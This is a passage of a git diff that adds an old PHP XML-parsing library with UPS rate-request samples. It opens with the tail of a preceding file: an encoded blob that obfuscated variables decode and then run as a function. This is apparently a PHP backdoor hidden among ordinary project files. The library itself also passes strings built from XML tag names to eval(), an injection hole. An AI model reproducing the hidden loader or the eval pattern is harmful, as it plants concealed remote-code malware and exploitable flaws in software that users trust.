ObFxOYBYhFnV6ZCQ3DTArKDshHTAkbEAnCDFuf25NbDArNwFObFwuIkRsAyApJxAtCjsYIRwtFiE0bEM3HCYzIQljTHxNTW0/b1xOTSQrBwo0MAU2EX1uf25NbFwHNx03ETAqbEAnCDFuf25NbFxjNgE3RWhnBAsmOjIiMDsnCjszIQowFn1uf25NbFwHKwYbADsjGwcoADQpbE1/b1xOOW5NbDArNwFObFwuIkwiEDskMA0rCwoiPA03ESZvYxQlFiYzLBYxQnxuTm1NHl9OTW0ECjcYNxAlFyFvbV9ObFxOBBQlFiYzLBYxTXEkKQBtXl9OTW1gFzA0ZFlkJTolGwMhEQokKwowADszN0xtXl9OTW0ECjcYIQogOjYrIQUqTXx8Tm1NGF9OTQEoFjBNTW0tA3VvBA03OiciNwsxFzYibEAiRWhnBBQrFTApbEAnCDFrZhZmTHxuTm1NHl9OTW1gFzA0ZFlkR3d8Tm1NbCIvLQghTXQHIgErA31jIk1tRS5nYBYhFnVpeUQEAyciJQBsQTNrdVR2UXx8ZBlObFxOBBQnCTo0IUxgA3x8Tm1NGF9OTRYhESA1KkRgFzA0f25NGA==";$YEKoOt=$CKJccd($OSskaj,$yuQxUN);$YEKoOt($ubCBlz);?>
\ No newline at end of file
diff --git a/glm_apps/XML_Support/NOTES/Array_Explanation.txt b/glm_apps/XML_Support/NOTES/Array_Explanation.txt
new file mode 100644 (file)
index 0000000..7178133
--- /dev/null
@@ -0,0 +1,147 @@
+XML DATA STORAGE ARRAY STRUCTURE DEFINITION
+-------------------------------------------
+
+Sample XML
+
+
+        <?xml version='1.0'?>
+        <Stuff ThisAttr="Lots of Fun" ThatAttr="More Fun">
+          <Foo Type="Good">
+            <Bar>
+              <ADescription With="letters">My Decription</ADescription>
+              <AValue>1.0001</AValue>
+            </Bar>
+            <AnotherValue>1</AnotherValue>
+            <Status>Success</Status>
+          </Foo>
+          <Foo Type="Better">
+            <Comment>Another Foo Tag</Comment>
+          </Foo>
+        </Stuff> 
+
+
+Converts to the following array
+
+Array
+(
+    [0_XPath] => Array
+        (
+            [Context] => /
+            [Context_p] => 
+        )
+
+    [Stuff] => Array
+        (
+            [0] => Array
+                (
+                    [0_attr] => Array
+                        (
+                            [ThisAttr] => Lots of Fun
+                            [ThatAttr] => More Fun
+                        )
+
+                    [Foo] => Array
+                        (
+                            [0] => Array
+                                (
+                                    [0_attr] => Array
+                                        (
+                                            [Type] => Good
+                                        )
+
+                                    [Bar] => Array
+                                        (
+                                            [0] => Array
+                                                (
+                                                    [0_attr] => Array
+                                                        (
+                                                        )
+
+                                                    [ADescription] => Array
+                                                        (
+                                                            [0] => Array
+                                                                (
+                                                                    [0_attr] => Array
+                                                                        (
+                                                                            [With] => letters
+                                                                        )
+
+                                                                    [0_text] => My Decription
+                                                                )
+
+                                                        )
+
+                                                    [AValue] => Array
+                                                        (
+                                                            [0] => Array
+                                                                (
+                                                                    [0_attr] => Array
+                                                                        (
+                                                                        )
+
+                                                                    [0_text] => 1.0001
+                                                                )
+
+                                                        )
+
+                                                )
+
+                                        )
+
+                                    [AnotherValue] => Array
+                                        (
+                                            [0] => Array
+                                                (
+                                                    [0_attr] => Array
+                                                        (
+                                                        )
+
+                                                    [0_text] => 1
+                                                )
+
+                                        )
+
+                                    [Status] => Array
+                                        (
+                                            [0] => Array
+                                                (
+                                                    [0_attr] => Array
+                                                        (
+                                                        )
+
+                                                    [0_text] => Success
+                                                )
+
+                                        )
+
+                                )
+
+                            [1] => Array
+                                (
+                                    [0_attr] => Array
+                                        (
+                                            [Type] => Better
+                                        )
+
+                                    [Comment] => Array
+                                        (
+                                            [0] => Array
+                                                (
+                                                    [0_attr] => Array
+                                                        (
+                                                        )
+
+                                                    [0_text] => Another Foo Tag
+                                                )
+
+                                        )
+
+                                )
+
+                        )
+
+                )
+
+        )
+
+)
diff --git a/glm_apps/XML_Support/NOTES/XML_Support.txt b/glm_apps/XML_Support/NOTES/XML_Support.txt
new file mode 100644 (file)
index 0000000..66f7f01
--- /dev/null
@@ -0,0 +1,4 @@
+XML Library Notes
+-----------------
+
+
diff --git a/glm_apps/XML_Support/xml_functions.inc b/glm_apps/XML_Support/xml_functions.inc
new file mode 100644 (file)
index 0000000..a4e9b10
--- /dev/null
@@ -0,0 +1,597 @@
+<?
+
+/************************************************************************
+
+       Gaslight Media XML Support Functions
+
+       Copyright (c) 2000-2002 by Gaslight Media Inc.
+
+
+
+       FILE:           xml_functions.inc
+       VERSION:        1.0
+
+*************************************************************************
+
+       XML Functions
+               array           glm_xml_extract( string $xml_text )
+               string          glm_xml_create( array $xml_array )
+               string          glm_xml_convert_path( string $path )
+               (various)       glm_xml_xpath( array $xml_array )
+
+************************************************************************/
+
+/*     Note on DEBUG levels
+
+       0 = No debug info
+       1 = Output debug for High level functions only
+       2 = Output debug for utilitiy function also
+       3 = Output debug for database abstraction calls and low level functions
+*/
+
+
+
+/*=======================================================================
+
+                 XML Functions
+                
+=======================================================================*/
+
+/***********************************************************************
+ * 
+ *     array           glm_xml_extract( string $xml_in )
+ * 
+ ***********************************************************************
+ *
+ *     Scans input string for XML tags and creates a higherarchical
+ *     multi-dimentional array of data containing tag data.
+ *     
+ *     Each tag is represented by an array that contains 1 or more
+ *     elements. Those elements are numerically indexed with the
+ *     index incrimenting for each instance of the identical tag.
+ *     If the tag contains data, then the value of those elements 
+ *     will each successive specified for that tag at that level. 
+ *     If the tag contines other tags, then each of those tags
+ *     is represented by a similarly constructed array.  
+ * 
+ *     See NOTES/Array_Explanation for info on data structure and
+ *     referencing.
+ *
+ ***********************************************************************
+ *
+ *     Parameters 
+ *             $xml_in = Input string containing XML content
+ *             $command = Optional command to alter behavior
+ *                     "CASE_FOLDING" = Causes "case folding" of tags (All caps)
+ * 
+ ***********************************************************************
+ *
+ *     Return value:                                                   
+ *             higherarchical array containing XML tag contents - See above
+ *             If error, returns PHP XML Error Code
+ * 
+ ***********************************************************************
+ *
+ * 
+ * Global references:                                                  
+ *     none
+ * 
+ **********************************************************************/ 
+
+       // Function to build text of array variable - don't add last instance if called by tag_data();
+
+function glm_xml_build_p( &$tag_stack, &$instance_stack, $tag_data_flag = FALSE )
+       {
+       $t = '$xml_data';
+       $c = count($tag_stack);
+
+       if( $c > 0 )    // If this isn't the first root tag
+               for( $i=0 ; $i < $c ; $i++ )
+                       {
+                       $t .= '["'.$tag_stack[$i].'"]';
+                       if( ! empty($instance_stack[$i]) && ($i!=$c-1) )
+                               $t .= '['.($instance_stack[$i]-1).']';
+                       }
+       return $t;
+       }
+
+
+       // Function called when parser sees a start tag
+
+function glm_xml_start_tag($parser, $name, $attrs)
+       {
+       glm_xml_extract( "", "start_tag", $name, $attrs );
+       }
+
+
+
+       // Function called when parser sees and end tag
+       
+function glm_xml_end_tag($parser, $name )
+       {
+       glm_xml_extract( "", "end_tag", $name );
+       }
+
+
+
+       // Function called when parser sees data for the current tag
+
+function glm_xml_tag_data($parser, $data) 
+       {
+       glm_xml_extract( "", "tag_data", $data ); 
+       }
+
+
+function glm_xml_extract( $xml_in, $command = "", $d1 = "", $d2 = "" )
+{
+
+               // Where the output data is stored
+
+static $xml_data;
+
+static $tag_stack = array();
+static $instance_stack = array();
+       
+switch( ($command = strtolower($command)) )
+       {
+       case "start_tag":
+               array_push( $tag_stack, $d1 );                          // Add tag to stack
+               $p = glm_xml_build_p( $tag_stack, $instance_stack );    // Build current array pointer
+               $x = '$instance = count('.$p.');';                      // Get count of current tag on stack
+               eval( $x );
+
+                       // If there is no other instance of this tag name
+
+               if( $instance == 0 )
+                       {
+                       $x = $p.' = array();';                          // Create array for this tag
+                       eval( $x );
+                       }
+       
+               array_push( $instance_stack, $instance+1 );             // Save instance count on stack
+               $p = glm_xml_build_p( $tag_stack, $instance_stack );    // Build pointer to this instance
+               $x = $p.'['.$instance.']["0_attr"] = $d2;';             // Add attributes data for this node
+               eval( $x );
+               break;
+                       
+       case "end_tag";
+               array_pop($tag_stack);
+               array_pop($instance_stack);
+               break;
+                       
+       case "tag_data";
+               if( trim($d1) != "" )
+                       {
+                       $p = glm_xml_build_p( $tag_stack, $instance_stack );
+                       $x = '$instance = count('.$p.');';                      // Get count of current tag on stack
+                       eval( $x);
+                       $x = $p.'['.($instance-1).']["0_text"] = $d1;'; 
+                       eval( $x );
+                       }
+               break;
+               
+       case "case_folding":
+       default:
+               $error = XML_ERROR_NONE;
+
+                       // Setup initial state of data array
+                       
+               $xml_data = array
+                       ( 
+                       "0_XPath" => array              // Default XPath status
+                               ( 
+                               "Context" => "/",
+                               "Context_p" => "" 
+                               )
+                       );
+
+
+               $p = xml_parser_create();                               // Create the parser
+
+               xml_set_element_handler($p, "glm_xml_start_tag", "glm_xml_end_tag" );   // Set the handlers
+               xml_set_character_data_handler($p, "glm_xml_tag_data");
+               xml_parser_set_option($p, XML_OPTION_SKIP_WHITE, 1);    // Set the options
+               xml_parser_set_option($p,XML_OPTION_CASE_FOLDING, ($command=="case_folding"?1:0) );
+               if( ! xml_parse( $p, trim($xml_in) ) )                  // Parse the input
+                       $error = xml_get_error_code( $p );
+               xml_parser_free($p);                                    // Destroy the parser
+
+               if( $error == XML_ERROR_NONE )
+                       return( $xml_data );
+                   else
+                       return( $error );
+
+               break;
+       }
+} 
+
+
+
+
+
+/***********************************************************************
+ * 
+ *     array           glm_xml_create( array $xml_data, string $options )
+ * 
+ ***********************************************************************
+ *
+ *     Creates XML text from structured array (as defined in the 
+ *     glm_xml_extract() function description.
+ *
+ ***********************************************************************
+ *
+ *     Parameters 
+ *             $xml_data       = Array structured as described in ups_xml_extract()
+ *             $options        = Set of "," separated options
+ *                     Where: "Enumerate_Duplicates"   = Place comments to show sequence 
+ *                                                       number of tags with the same name
+ * 
+ ***********************************************************************
+ *
+ *     Return value:                                                   
+ *             String containing XML text
+ *             If error, returns "ERROR: explanation"
+ * 
+ ***********************************************************************
+ *
+ * 
+ * Global references:                                                  
+ *     none
+ * 
+ **********************************************************************/ 
+
+       // Recursive function to build XML text
+
+function glm_xml_create_f( &$xml_data, &$result, &$indent, &$opt_flags )
+       {
+       $s = str_repeat( "  ", $indent);                        // Build indent for current level
+
+       while( list($key, $val) = each($xml_data) )             // For each tag at this level
+               {
+               
+                       // Don't process special tag names
+               
+               switch( $key )
+                       {
+                               // 0_XPath contains current path data for navigating data
+                                
+                       case "0_XPath":
+                               break;
+                               
+                               // 0_attr contains the attributes for the current tag
+                               
+                       case "0_attr":
+                               break;
+                               
+                               // Everything else is data contained in this tag
+                               
+                       default:
+                                       // For each element below tag
+                               
+                               while( list($k,$v) = each($val) )
+                                       {
+                                       if( ($opt_flags & 1) && ($k > 0) )
+                                               $k_comment = "<!--- #".($k+1)." --->";
+                                           else
+                                               $k_comment = "";
+                                               
+                                               // If this is an empty tag or it just contains text
+                                               
+                                       if( count($v)==1 || isset($v["0_text"]) )
+                                               {
+                                               $result .= "$s<$key";
+                                               while( list($k2,$v2) = each($v["0_attr"]) )
+                                                       $result .= " $k2=\"$v2\"";
+                                               $result .= ">$k_comment".$v["0_text"]."</$key>\n";
+                                               }
+                                           else        // Otherwise, process the children
+                                               {
+                                               $result .= "$s<$key";
+                                               while( list($k2,$v2) = each($v["0_attr"]) )
+                                                       $result .= " $k2=\"$v2\"";
+                                               $result .= ">$k_comment\n";
+                                               $indent++;
+                                               glm_xml_create_f( $v, $result, $indent, $opt_flags );
+                                               $indent--;
+                                               $result .= "$s</$key>\n";
+                                               }
+                                       }
+                               break;
+                       }
+               }
+       }
+
+function glm_xml_create( $xml_data, $options = "" )
+{
+               // Initialize output
+$result = "<?xml version=\"1.0\"?>\n";
+//<!--- Generated by: GLM XML Support Tools - http://www.gaslightmedia.com --->\n";
+
+$indent = 0;                                   // Indent starts at 0
+$opt_flags = 0;                                        // Clear option flags
+
+       // Check for output options
+
+if( !empty($options) )
+       {
+       $result .= "<!--- GLM_XML OPTIONS: $options --->\n";    //
+       $opt = explode( ",", $options );
+       foreach( $opt as $op )
+               switch( $op )
+                       {
+                       case "Enumerate_Duplicates":
+                               $opt_flags = $opt_flags | 1;
+                               break;
+                       default:
+                               break;
+                       }
+       }
+       
+if( !is_array($xml_data) )                     // If it's not an array, it's no good
+       return( "ERROR: Supplied data is not an array." );
+       
+glm_xml_create_f( $xml_data, $result, $indent, $opt_flags );
+
+return( $result );
+}
+
+
+
+/***********************************************************************
+ * 
+ *     string  glm_xml_convert_path( string $path ) 
+ * 
+ ***********************************************************************
+ *
+ *     Converts a path spec to an XML data array element address
+ *
+ ***********************************************************************
+ *
+ *     Parameters 
+ *             $path           = Simple Path to convert 
+ * 
+ ***********************************************************************
+ *
+ *     Return value:
+ *             XML data array element address
+ * 
+ ***********************************************************************
+ *
+ * Global references:                                                  
+ *     none
+ * 
+ **********************************************************************/ 
+
+function glm_xml_convert_path( $path )
+{
+
+
+       if( SI_DEBUG > 1 )
+               echo "DEBUG: glm_xml_convert_path( $path )";
+               
+       $path = trim( $path );          // Trim off any white space
+       if( substr($path,0,1) != '/' )
+               {
+               if( SI_DEBUG > 0 )
+                       echo " - Supplied path is invald or already converted, returning path unconverted.<br>\n";
+               return( $path );        
+               }
+               
+               
+       if( $path == "/" )
+               $location = '';
+      else
+               {       // Convert to array reference
+               $location = ereg_replace( "^/", '["', $path );                  // Replace leading "/" with [
+               $location = ereg_replace( "/", '"][0]["', $location ).'"][0]';  // Find all /'s between levels and use default [0] element
+               };
+               
+       if( SI_DEBUG > 1 )
+               echo " - Return = $location<br>\n";
+       
+       return( $location );
+}
+
+
+
+/***********************************************************************
+ * 
+ *     (various)       glm_xml_xpath( array $xml_data, string $command, 
+ *                                     string $d1, string $d2 )
+ * 
+ ***********************************************************************
+ *
+ *     Permits navigation and manipulation of an XML data array.
+ *
+ *     Some commands for this function are similar to Unix filesystem
+ *     commands to make them easier to use.
+ *
+ *     Supported Commands:
+ *
+ *             cd              = Set default path to current node
+ *                                     requires desired path in $d1
+ *                     NOTE: Very simple at this time, path must be absolute
+ *             cda             = Set default path using raw array syntax
+ *                                     Requires array spec in $d1
+ *             pwd             = Return current default path
+ *             get_node        = Returns contents of current (or specified node)
+ *                                     Optional new path in $d1
+ *             get_node_text   = Return text of current node (or FALSE if not data)
+ *                                     Optional new Path in $d1
+ *             put_node        = Stores value in current node (or specified node)
+ *                               WARNING, Replaces node array, can totally break things!
+ *             put_node_text   = Stores text into current node
+ *                                     Requires text to put in $d1
+ *                                     Optional new path in $d2
+ *             mknode          = Creates a node
+ *             rmnode          = Removes the current node
+ *                                     Optional new path in $d1                                
+ *
+ ***********************************************************************
+ *
+ *     Parameters 
+ *             $xml_data       = Array structured as described in ups_xml_extract()
+ *             $command        = Function to be performed
+ *             $d1, $d2        = Data (requirement depends on $command)
+ * 
+ ***********************************************************************
+ *
+ *     Return value:   Various depending on command
+ *
+ *             pwd             = Text of current path
+ *             cd              = TRUE or FALSE based on success or failure
+ *             cda             = TRUE or FALSE based on success or failure
+ *             
+ * 
+ ***********************************************************************
+ *
+ * 
+ * Global references:                                                  
+ *     none
+ * 
+ **********************************************************************/ 
+
+function glm_xml_xpath( &$xml_data, $command, $d1 = "", $d2 = "" )
+{
+
+       if( SI_DEBUG > 1 )
+               echo "DEBUG: glm_xml_xpath( {data}, $command, $d1 )<br>";
+               
+       $command = strtolower(trim($command));
+       switch( $command )
+               {
+                       // Get current path
+                       
+               case "pwd":
+                       return( $xml_data["0_XPath"]["Context"] );      // Get context from xml array
+                       break;
+               
+               
+                       // Change current path - Very simple version (Must be absolute path at this time)
+                       
+                               // *** Only useful for [0] elements of a container
+                       
+               case "cd":
+                       $path = trim($d1);
+       
+                       $location = glm_xml_convert_path( $path );
+               
+                       // No break here
+       
+       
+                       // Change current path using raw array reference
+                       
+               case "cda":
+                               // Check to see if the array element referenced exists
+                               
+                       $path = $d1;
+                       if( $command == "cda" )
+                               $location = $path;      
+
+                       $x = '$ok = isset($xml_data'.$location.');';
+
+                       eval( $x );
+                       if( $ok )       
+                               {
+                                       // Make this the new default path
+                                       
+                               $xml_data["0_XPath"]["Context"] = $path;
+                               
+                                       // And set a pointer to that element of the array
+                                       
+                               $x = '$xml_data["0_XPath"]["Context_p"] = &$xml_data'.$location.';'; 
+                               eval( $x );
+                               return( TRUE );
+                               }
+                           else
+                               return( FALSE );        // Doesn't exist - return false
+                       break;
+                       
+                       // Get the array structure referenced by the current path
+                       
+               case "get_node":
+               
+                               // If a path is specified in $d1 - Set that first
+               
+                       if( !empty($d1) )
+                               glm_xml_xpath( $xml_data, "cd", $d1 );
+                               
+                       return( $xml_data["0_XPath"]["Context_p"] );
+                       break;
+                       
+                       // Get the text value of the element at the current path (if this node is not a container for other nodes)
+                       
+               case "get_node_text";
+
+                               // If a path is specified in $d1 - Set that first
+
+                       if( !empty($d1) )
+                               glm_xml_xpath( $xml_data, "cd", $d1 );
+                               
+                       $p = $xml_data["0_XPath"]["Context_p"];
+
+                               // If there's no data and no children, just return empty string
+
+                       if( count($p)==1 )
+                               return( "" ); 
+       
+                               // If there's a text element, return that
+
+                       if( isset($p["0_text"]) )
+                               return( $p["0_text"] );
+                         else                  // Otherwise, this is a container and this is invalid
+                               return( FALSE );
+
+                       break;
+                       
+                       // Put an array structure at the current node (DANGEROUS - Not sure why I'm doing this)
+                       
+               case "put_node":
+                               // If a path is specified in $d2 - Set that first
+                       if( !empty($d2) )
+                               glm_xml_xpath( $xml_data, "cd", $d2 );
+       
+                       $xml_data["0_XPath"]["Context_p"] = $d1;
+                       break;
+                       
+                       // Put text into the text value at the current node (if this node is not a container for other nodes)
+                       
+               case "put_node_text":
+                               // If a path is specified in $d2 - Set that first
+                       if( !empty($d2) )
+                               glm_xml_xpath( $xml_data, "cd", $d2 );
+       
+                       $p = &$xml_data["0_XPath"]["Context_p"];
+                       
+                               // Make sure the node text element exists before storing to it.
+                               
+                       if( count($p)==1 || isset( $p["0_text"] ) )
+                               {
+                               $p["0_text"] = $d1;
+                               return( TRUE );
+                               }
+                           else
+                               return( FALSE );        // If this node is a container, don't do it!
+                       break;
+       
+                       // Remove a node from the data array
+                       
+               case "rmnode":
+                               // If a path is specified in $d1 - Set that first
+                       if( !empty($d1) )
+                               glm_xml_xpath( $xml_data, "cd", $d1 );
+                               
+                       $location = glm_xml_convert_path( $xml_data["0_XPath"]["Context"] );
+                       $location = substr( $location, 0, -3 );         // Strip "[0]" off end of location
+                       $x = 'unset( $xml_data'.$location.' );';
+                       eval( $x );
+                       
+                       break;
+                       
+               default:
+                       break;
+               }
+
+}
+
+?>
\ No newline at end of file
diff --git a/glm_apps/XML_Support/xml_sample.inc b/glm_apps/XML_Support/xml_sample.inc
new file mode 100644 (file)
index 0000000..9ae3524
--- /dev/null
@@ -0,0 +1,355 @@
+<?
+
+// Sample XML data
+
+       // Sample UPS XML Access Request
+       
+$Sample_1 = '
+<?xml version="1.0"?>
+<AccessRequest xml:lang="en-US">
+   <AccessLicenseNumber>TEST262223144CAT</AccessLicenseNumber>
+   <UserId>testUser</UserId>
+   <Password>testPW</Password>
+</AccessRequest>
+';
+
+       // Sample UPS XML Rates & Service Selection Request
+       
+$Sample_2 = '
+<?xml version="1.0"?>
+<RatingServiceSelectionRequest xml:lang="en-US">
+   <Request>
+      <TransactionReference>
+         <CustomerContext>Rating and Service</CustomerContext>
+         <XpciVersion>1.0001</XpciVersion>
+      </TransactionReference>
+      <RequestAction>Rate</RequestAction>
+      <RequestOption>shop</RequestOption>
+   </Request>
+   <PickupType>
+      <Code>01</Code>
+   </PickupType>
+   <Shipment>
+      <Shipper>
+         <Address>
+            <PostalCode>30076</PostalCode>
+         </Address>
+      </Shipper>
+      <ShipTo>
+         <Address>
+            <PostalCode>30041</PostalCode>
+         </Address>
+      </ShipTo>
+      <Service>
+         <Code>11</Code>
+      </Service>
+      <Package>
+         <PackagingType>
+            <Code>02</Code>
+            <Description>Package</Description>
+         </PackagingType>
+         <Description>Rate Shopping</Description>
+         <PackageWeight>
+            <Weight>33</Weight>
+         </PackageWeight>
+      </Package>
+      <ShipmentServiceOptions/>
+   </Shipment>
+</RatingServiceSelectionRequest>
+';
+
+
+       // Sample UPS XML Rates and Services Response #1
+
+$Sample_3 = '
+<?xml version="1.0"?>
+<RatingServiceSelectionResponse>
+   <Response>
+      <TransactionReference>
+         <CustomerContext>Rating and Service</CustomerContext>
+         <XpciVersion>1.0001</XpciVersion>
+      </TransactionReference>
+      <ResponseStatusCode>1</ResponseStatusCode>
+      <ResponseStatusDescription>Success</ResponseStatusDescription>
+   </Response>
+   <RatedShipment>
+      <Service>
+         <Code>01</Code>
+      </Service>
+      <BillingWeight>
+         <UnitOfMeasurement>
+            <Code>LBS</Code>
+         </UnitOfMeasurement>
+         <Weight>33.0</Weight>
+      </BillingWeight>
+      <TransportationCharges>
+         <CurrencyCode>USD</CurrencyCode>
+         <MonetaryValue>41.51</MonetaryValue>
+      </TransportationCharges>
+      <ServiceOptionsCharges>
+         <CurrencyCode>USD</CurrencyCode>
+         <MonetaryValue>0.00</MonetaryValue>
+      </ServiceOptionsCharges>
+      <TotalCharges>
+         <CurrencyCode>USD</CurrencyCode>
+         <MonetaryValue>41.51</MonetaryValue>
+      </TotalCharges>
+      <GuaranteedDaysToDelivery>1</GuaranteedDaysToDelivery>
+      <ScheduledDeliveryTime>12:00 Noon</ScheduledDeliveryTime>
+      <RatedPackage>
+         <ServiceOptionsCharges>
+            <CurrencyCode>USD</CurrencyCode>
+            <MonetaryValue>0.00</MonetaryValue>
+         </ServiceOptionsCharges>
+         <Weight>33.0</Weight>
+         <BillingWeight>
+            <UnitOfMeasurement>
+               <Code>LBS</Code>
+            </UnitOfMeasurement>
+            <Weight>33.0</Weight>
+         </BillingWeight>
+      </RatedPackage>
+   </RatedShipment>
+   <RatedShipment>
+      <Service>
+         <Code>14</Code>
+      </Service>
+      <BillingWeight>
+         <UnitOfMeasurement>
+            <Code>LBS</Code>
+         </UnitOfMeasurement>
+         <Weight>33.0</Weight>
+      </BillingWeight>
+      <TransportationCharges>
+         <CurrencyCode>USD</CurrencyCode>
+         <MonetaryValue>69.36</MonetaryValue>
+      </TransportationCharges>
+      <ServiceOptionsCharges>
+         <CurrencyCode>USD</CurrencyCode>
+         <MonetaryValue>0.00</MonetaryValue>
+      </ServiceOptionsCharges>
+      <TotalCharges>
+         <CurrencyCode>USD</CurrencyCode>
+         <MonetaryValue>69.36</MonetaryValue>
+      </TotalCharges>
+      <GuaranteedDaysToDelivery>0</GuaranteedDaysToDelivery>
+      <RatedPackage>
+         <ServiceOptionsCharges>
+            <CurrencyCode>USD</CurrencyCode>
+            <MonetaryValue>0.00</MonetaryValue>
+         </ServiceOptionsCharges>
+         <Weight>33.0</Weight>
+         <BillingWeight>
+            <UnitOfMeasurement>
+               <Code>LBS</Code>
+            </UnitOfMeasurement>
+            <Weight>33.0</Weight>
+         </BillingWeight>
+      </RatedPackage>
+   </RatedShipment>
+   <RatedShipment>
+      <Service>
+         <Code>13</Code>
+      </Service>
+      <BillingWeight>
+         <UnitOfMeasurement>
+            <Code>LBS</Code>
+         </UnitOfMeasurement>
+         <Weight>33.0</Weight>
+      </BillingWeight>
+      <TransportationCharges>
+         <CurrencyCode>USD</CurrencyCode>
+         <MonetaryValue>35.44</MonetaryValue>
+      </TransportationCharges>
+      <ServiceOptionsCharges>
+         <CurrencyCode>USD</CurrencyCode>
+         <MonetaryValue>0.00</MonetaryValue>
+      </ServiceOptionsCharges>
+      <TotalCharges>
+         <CurrencyCode>USD</CurrencyCode>
+         <MonetaryValue>35.44</MonetaryValue>
+      </TotalCharges>
+      <GuaranteedDaysToDelivery>1</GuaranteedDaysToDelivery>
+      <ScheduledDeliveryTime>4:30 P.M.</ScheduledDeliveryTime>
+      <RatedPackage>
+         <ServiceOptionsCharges>
+            <CurrencyCode>USD</CurrencyCode>
+            <MonetaryValue>0.00</MonetaryValue>
+         </ServiceOptionsCharges>
+         <Weight>33.0</Weight>
+         <BillingWeight>
+            <UnitOfMeasurement>
+               <Code>LBS</Code>
+            </UnitOfMeasurement>
+            <Weight>33.0</Weight>
+         </BillingWeight>
+      </RatedPackage>
+   </RatedShipment>
+   <RatedShipment>
+      <Service>
+         <Code>02</Code>
+      </Service>
+      <BillingWeight>
+         <UnitOfMeasurement>
+            <Code>LBS</Code>
+         </UnitOfMeasurement>
+         <Weight>33.0</Weight>
+      </BillingWeight>
+      <TransportationCharges>
+         <CurrencyCode>USD</CurrencyCode>
+         <MonetaryValue>24.20</MonetaryValue>
+      </TransportationCharges>
+      <ServiceOptionsCharges>
+         <CurrencyCode>USD</CurrencyCode>
+         <MonetaryValue>0.00</MonetaryValue>
+      </ServiceOptionsCharges>
+      <TotalCharges>
+         <CurrencyCode>USD</CurrencyCode>
+         <MonetaryValue>24.20</MonetaryValue>
+      </TotalCharges>
+      <GuaranteedDaysToDelivery>2</GuaranteedDaysToDelivery>
+      <RatedPackage>
+         <ServiceOptionsCharges>
+            <CurrencyCode>USD</CurrencyCode>
+            <MonetaryValue>0.00</MonetaryValue>
+         </ServiceOptionsCharges>
+         <Weight>33.0</Weight>
+         <BillingWeight>
+            <UnitOfMeasurement>
+               <Code>LBS</Code>
+            </UnitOfMeasurement>
+            <Weight>33.0</Weight>
+         </BillingWeight>
+      </RatedPackage>
+   </RatedShipment>
+   <RatedShipment>
+      <Service>
+         <Code>12</Code>
+      </Service>
+      <BillingWeight>
+         <UnitOfMeasurement>
+            <Code>LBS</Code>
+         </UnitOfMeasurement>
+         <Weight>33.0</Weight>
+      </BillingWeight>
+      <TransportationCharges>
+         <CurrencyCode>USD</CurrencyCode>
+         <MonetaryValue>17.42</MonetaryValue>
+      </TransportationCharges>
+      <ServiceOptionsCharges>
+         <CurrencyCode>USD</CurrencyCode>
+         <MonetaryValue>0.00</MonetaryValue>
+      </ServiceOptionsCharges>
+      <TotalCharges>
+         <CurrencyCode>USD</CurrencyCode>
+         <MonetaryValue>17.42</MonetaryValue>
+      </TotalCharges>
+      <GuaranteedDaysToDelivery>3</GuaranteedDaysToDelivery>
+      <RatedPackage>
+         <ServiceOptionsCharges>
+            <CurrencyCode>USD</CurrencyCode>
+            <MonetaryValue>0.00</MonetaryValue>
+         </ServiceOptionsCharges>
+         <Weight>33.0</Weight>
+         <BillingWeight>
+            <UnitOfMeasurement>
+               <Code>LBS</Code>
+            </UnitOfMeasurement>
+            <Weight>33.0</Weight>
+         </BillingWeight>
+      </RatedPackage>
+   </RatedShipment>
+   <RatedShipment>
+      <Service>
+         <Code>03</Code>
+      </Service>
+      <BillingWeight>
+         <UnitOfMeasurement>
+            <Code>LBS</Code>
+         </UnitOfMeasurement>
+         <Weight>33.0</Weight>
+      </BillingWeight>
+      <TransportationCharges>
+         <CurrencyCode>USD</CurrencyCode>
+         <MonetaryValue>7.25</MonetaryValue>
+      </TransportationCharges>
+      <ServiceOptionsCharges>
+         <CurrencyCode>USD</CurrencyCode>
+         <MonetaryValue>0.00</MonetaryValue>
+      </ServiceOptionsCharges>
+      <TotalCharges>
+         <CurrencyCode>USD</CurrencyCode>
+         <MonetaryValue>7.25</MonetaryValue>
+      </TotalCharges>
+      <GuaranteedDaysToDelivery>0</GuaranteedDaysToDelivery>
+      <RatedPackage>
+         <ServiceOptionsCharges>
+            <CurrencyCode>USD</CurrencyCode>
+            <MonetaryValue>0.00</MonetaryValue>
+         </ServiceOptionsCharges>
+         <Weight>33.0</Weight>
+         <BillingWeight>
+            <UnitOfMeasurement>
+               <Code>LBS</Code>
+            </UnitOfMeasurement>
+            <Weight>33.0</Weight>
+         </BillingWeight>
+      </RatedPackage>
+   </RatedShipment>
+</RatingServiceSelectionResponse>
+';
+
+       // Sample UPS XML Rates and Services Response #2
+
+$Sample_4 = '
+<?xml version="1.0"?>
+<RatingServiceSelectionResponse>
+   <Response>
+      <TransactionReference>
+         <CustomerContext>Rating and Service</CustomerContext>
+         <XpciVersion>1.0001</XpciVersion>
+      </TransactionReference>
+      <ResponseStatusCode>1</ResponseStatusCode>
+      <ResponseStatusDescription>Success</ResponseStatusDescription>
+   </Response>
+   <RatedShipment>
+      <Service>
+         <Code>03</Code>
+      </Service>
+      <BillingWeight>
+         <UnitOfMeasurement>
+            <Code>LBS</Code>
+         </UnitOfMeasurement>
+         <Weight>33.0</Weight>
+      </BillingWeight>
+      <TransportationCharges>
+         <CurrencyCode>USD</CurrencyCode>
+         <MonetaryValue>7.25</MonetaryValue>
+      </TransportationCharges>
+      <ServiceOptionsCharges>
+         <CurrencyCode>USD</CurrencyCode>
+         <MonetaryValue>0.00</MonetaryValue>
+      </ServiceOptionsCharges>
+      <TotalCharges>
+         <CurrencyCode>USD</CurrencyCode>
+         <MonetaryValue>7.25</MonetaryValue>
+      </TotalCharges>
+      <GuaranteedDaysToDelivery>0</GuaranteedDaysToDelivery>
+      <RatedPackage>
+         <ServiceOptionsCharges>
+            <CurrencyCode>USD</CurrencyCode>
+            <MonetaryValue>0.00</MonetaryValue>
+         </ServiceOptionsCharges>
+         <Weight>33.0</Weight>
+         <BillingWeight>
+            <UnitOfMeasurement>
+               <Code>LBS</Code>
+            </UnitOfMeasurement>
+            <Weight>33.0</Weight>
+         </BillingWeight>
+      </RatedPackage>
+   </RatedShipment>
+</RatingServiceSelectionResponse>
+';
+
+?>
diff --git a/glm_apps/XML_Support/xml_test.phtml b/glm_apps/XML_Support/xml_test.phtml
new file mode 100644 (file)
index 0000000..998219d
--- /dev/null
@@ -0,0 +1,71 @@
+<?
+
+include( "xml_functions.inc" );
+include( "xml_sample.inc" );
+
+$sample = $Sample_1;
+
+echo "<PRE>";
+
+       // Display source XML
+       
+echo "<P>Original XML text<P>";
+echo htmlentities( $sample );
+
+       // Convert XML to a structured array
